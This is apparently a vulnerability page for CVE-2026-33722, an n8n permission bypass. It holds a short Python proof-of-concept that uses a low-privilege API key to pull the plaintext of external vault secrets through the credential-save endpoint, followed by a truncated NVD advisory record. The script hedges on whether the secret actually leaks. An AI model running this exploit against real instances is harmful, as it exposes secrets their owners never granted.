CVE-2026-33722

import requests import json # Configuration TARGET_URL = "https://your-n8n-instance.com/rest/credentials" API_KEY = "LOW_PRIVILEGE_USER_API_KEY" SECRET_NAME = "target-secret-name-in-vault" # Headers headers = { "Content-Type": "application/json", "Authorization": f"Bearer {API_KEY}" } # Payload referencing the external secret by name # This attempts to save a credential that uses an external secret payload = { "name": "Test Credential", "type": "externalSecret", # or the specific credential type that allows external secrets "data": { "externalSecret": SECRET_NAME }, "nodeAccess": [] } # Send request to save credential response = requests.post(TARGET_URL, headers=headers, data=json.dumps(payload)) # Check if the secret value is leaked in the response if response.status_code == 200: response_data = response.json() # Depending on the endpoint behavior, the plain text value might be returned # in the response body or accessible via subsequent API calls triggered by the save. print("[+] Request successful. Check response for leaked secrets:") print(json.dumps(response_data, indent=2)) else: print("[-] Request failed:") print(response.text)

{"cve": {"id": "CVE-2026-33722", "sourceIdentifier": "[email protected]", "published": "2026-03-25T19:16:51.153", "lastModified": "2026-03-27T19:34:18.007", "vulnStatus": "Analyzed", "cveTags": [], "descriptions": [{"lang": "en", "value": "n8n is an open source workflow automation platform. Prior to versions 2.6.4 and 1.123.23, an authenticated user without permission to list external secrets could reference a secret by the external name in a credential and retrieve its plaintext value when saving the credential. This bypassed the `externalSecret:list` permission check and allowed access to secrets stored in connected vaults without admin or owner privileges. This issue requires the instance to have an external secrets vault configured. The attacker must know or be able to guess the name of a target secret. The issue has been fixed in n8n versions 1.123.23 and 2.6.4. Users should upgrade to one of these versions or later to remediate the vulnerability. If upgrading is not immediately possible, administrators should consider the following temporary mitigations: Restrict n8n access to fully trusted users only, and/or disable external secrets integration until the patch can be applied. These workarounds do not fully remediate the risk and should only be used as short-term mitigation measures."}, {"lang": "es", "value": "n8n es una plataforma de automatización de flujos de trabajo de código abierto. Antes de las versiones 2.6.4 y 1.123.23, un usuario autenticado sin permiso para listar secretos externos podía referenciar un secreto por el nombre externo en una credencial y recuperar su valor en texto plano al guardar la credencial. Esto eludía la verificación de permisos 'externalSecret:list' y permitía el acceso a secretos almacenados en bóvedas conectadas sin privilegios de administrador o propietario. Este problema requiere que la instancia tenga una bóveda de secretos externos configurada. El atacante debe conocer o ser capaz de adivinar el nombre de un secreto objetivo. El problema ha sido solucionado en las versiones 1.123.23 y 2.6.4 de n8n. Los usuarios deben actualizar a una de estas versiones o posteriores para remediar la vulnerabilidad. Si la actualización no es posible de inmediato, los administradores deben considerar las siguientes mitigaciones temporales: Restringir el acceso a n8n solo a usuarios de plena confianza, y/o deshabilitar la integración de secretos externos hasta que se pueda aplicar el parche. Estas soluciones provisionales no remedian completamente el riesgo y solo deben usarse como medidas de mitigación a corto plazo."}], "metrics": {"cvssMetricV40": [{"source": "[email protected]", "type": "Secondary", "cvssData": {"version": "4.0", "vectorString": "CVSS:4.0/AV:N/AC:L/AT:P/PR:L/UI:N/VC:H/VI:N/VA:N/SC:H/SI:H/SA:H/E:X/CR:X/IR:X/AR:X/MAV:X/MAC:X/MAT:X/MPR:X/MUI:X/MVC:X/MVI:X/MVA:X/MSC:X/MSI:X/MSA:X/S:X/AU:X/R:X/V:X/RE:X/U:X", "baseScore": 7.3, "baseSeverity": "HIGH", "attackVector": "NETWORK", "attackComplexity": "LOW", "attackRequirements": "PRESENT", "privilegesRequired": "LOW", "userInteraction": "NONE", "vulnConfidentialityImpact": "HIGH", "vulnIntegrityImpact": "NONE", "vulnAvailabilityImpact": "NONE", "subConfidentialityImpact": "HIGH", "subIntegrityImpact": "HIGH", "subAvailabilityImpact": "HIGH", "exploitMaturity": "NOT_DEFINED", "confidentialityRequirement": "NOT_DEFINED", "integrityRequirement": "NOT_DEFINED", "availabilityRequirement": "NOT_DEFINED", "modifiedAttackVector": "NOT_DEFINED", "modifiedAttackComplexity": "NOT_DEFINED", "modifiedAttackRequirements": "NOT_DEFINED", "modifiedPrivilegesRequired": "NOT_DEFINED", "modifiedUserInteraction": "NOT_DEFINED", "modifiedVulnConfidentialityImpact": "NOT_DEFINED", "modifiedVulnIntegrityImpact": "NOT_DEFINED", "modifiedVulnAvailabilityImpact": "NOT_DEFINED", "modifiedSubConfidentialityImpact": "NOT_DEFINED", "modifiedSubIntegrityImpact": "NOT_DEFINED", "modifiedSubAvailabilityImpact": "NOT_DEFINED", "Safety": "NOT_DEFINED", "Automatable": "NOT_DEFINED", "Recovery": "NOT_DEFINED", "valueDensity": "NOT_DEFINED", "vulnerabilityResponseEffort": "NOT_DEFINED", "providerUrgency": "NOT_DEFINED"}}], "cvssMetricV31": [{"source": "[email protected]", "type": "Primary", "cvssData": {"version": "3.1", "vectorString": "CVSS:3.1/AV:N/AC:H/PR:L/UI:N/S:U/C:H/I:N/A:N", "baseScore": 5.3, "baseSeverity": "MEDIUM", "attackVector": "NETWORK", "attackComplexity": "HIGH", "privilegesRequired": "LOW", "userInteraction": "NONE", "scope": "UNCHANGED", "confidentialityImpact": "HIGH", "integrityImpact": "NONE", "availabilityImpact": "NONE"}, "exploitabilityScore": 1.6, "impactScore": 3.6}]}, "weaknesses": [{"source": "[email protected]", "type": "Primary", "description": [{"lang": "en", "value": "CWE-863"}]}], "configurations": [{"nodes": [{"operator": "OR", "negate": false, "cpeMatch": [{"vulnerable": true, "criteria": "cpe:2.3:a:n8n:n8n:*:*:*:*:*:node.js:*:*", "versionEndExcluding": "1.123.23", "matchCriteriaId": "61F ... (truncated)